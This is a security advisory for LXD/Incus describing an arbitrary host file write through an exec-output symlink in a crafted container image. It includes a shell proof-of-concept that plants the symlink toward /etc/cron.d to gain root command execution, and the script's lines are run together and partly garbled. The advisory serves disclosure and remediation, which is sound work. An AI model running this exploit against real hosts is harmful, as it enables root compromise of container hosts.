GHSA-9j25-mm2h-2f76: LXD has arbitrary file write on host via `exec-output` symlink in crafted image
Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv
Summary
The record-output parameter of the /instances/$name/exec endpoint stores the output of the command in the exec-output directory of the instance. If exec-output is a symlink, file named execUUID.stdout and execUUID.stderr can be written to an arbitrary location where the .stdout file will contain arbitrary content. This behavior can be abused for arbitrary command execution.
Details
When an image is unpacked, top-level symlinks are extracted as is; allowing for exec-output to be placed on disk. In instanceexec.go, os.Mkdir continues of exec-output exists and os.OpenFile follows the exec-output symlink.
PoC
Below, we place the execUUID.stdout file in /etc/cron.d on the host for arbitrary command execution.
#!/bin/sh usage: $0 existing-imagefp set -eu
basefp="${1}"
die() { printf '%s' "${@}" >&2 exit 1 }
command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n'
tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP
insert exec-output symlink
incus image export "${basefp}" "${tmpdir}/img"
mkdir "${tmpdir}/repack" cd "${tmpdir}/repack"
xz -cd "${tmpdir}/img" | tar -f- -vx
rm -rf exec-output ln -s /etc/cron.d exec-output
tar -f- -c | gzip -c9 >"${tmpdir}/img"
cd - >/dev/null incus image import "${tmpdir}"/img --alias afw-exec-output
Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip
OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])")
curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null
#find /etc/cron.d/exec -exec cat {} \;
Impact
Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/canonical/lxdto a version that resolves this vulnerability.Fixed in 0.0.0-20260626085134-124f90100640